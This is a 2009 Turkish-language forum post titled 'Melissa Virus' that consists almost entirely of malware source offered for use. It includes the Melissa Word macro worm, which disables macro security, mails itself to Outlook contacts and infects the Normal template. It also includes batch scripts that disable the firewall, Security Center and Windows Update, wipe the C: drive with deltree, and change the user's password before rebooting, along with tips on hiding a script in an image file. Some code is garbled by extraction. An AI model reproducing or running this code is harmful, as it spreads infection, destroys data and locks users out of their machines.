Ben Sana Hiç Yetişemedim...

Forum - Melissa Virüsü

Burdasın:
Forum => Virus => Melissa Virüsü

<-Geri

Devam->

-m-e-r-t-
(şimdiye kadar 22 posta)

24.10.2009 20:31 (UTC)

Private Sub Document_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9 .0W ordSecurity", "Level"

"" Then
CommandBars("Macro"

.Controls("Security..."

.Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9 .0W ordSecurity", "Level"

= 1&
Else
CommandBars("Tools"

.Controls("Macro"

.Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application"

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI"

If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?"

"... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else

"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?"

= "... by Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT True And DoAD True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()"

Do While ADI1.CodeModule.Lines(BGN, 1) ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()"

Do While NTI1.CodeModule.Lines(BGN, 1) ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document"

= False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document"

False) Then
ActiveDocument.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
____________________________________________________________
2. Virüs
____________________________________________________________

KOD:

@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO A R E S
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServic esSharedAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServic eswuauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Servicesw scsvc]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
DEL "%Temp%.kill.reg"
DEL %0

Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin
Herhangi bir resim ile birleştirmek isterseniz ;

Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin.

Not: Kaspersky , Norton , NOD32 , Avast gibi anti virüslere yakalanmaktadır.
____________________________________________________________
3. Virüs
____________________________________________________________

@echo off
C:WINDOWSCOMMANDdeltree /y......
C:WINDOWSCOMMANDdeltree /y c

rogra~1*.*
@echo off
C:WINDOWSCOMMANDdeltree /y c:*.*
@echo off
cls
cls

Uzantı: .bat
____________________________________________________________
4.Virüs
____________________________________________________________
Kodlar:
net user %username% 753951456852
shutdown -r

Cevapla:

Bütün konular: 22
Bütün postalar: 22
Bütün kullanıcılar: 1
Şu anda Online olan (kayıtlı) kullanıcılar: Hiçkimse

HANGİ GÜN DOĞDUN?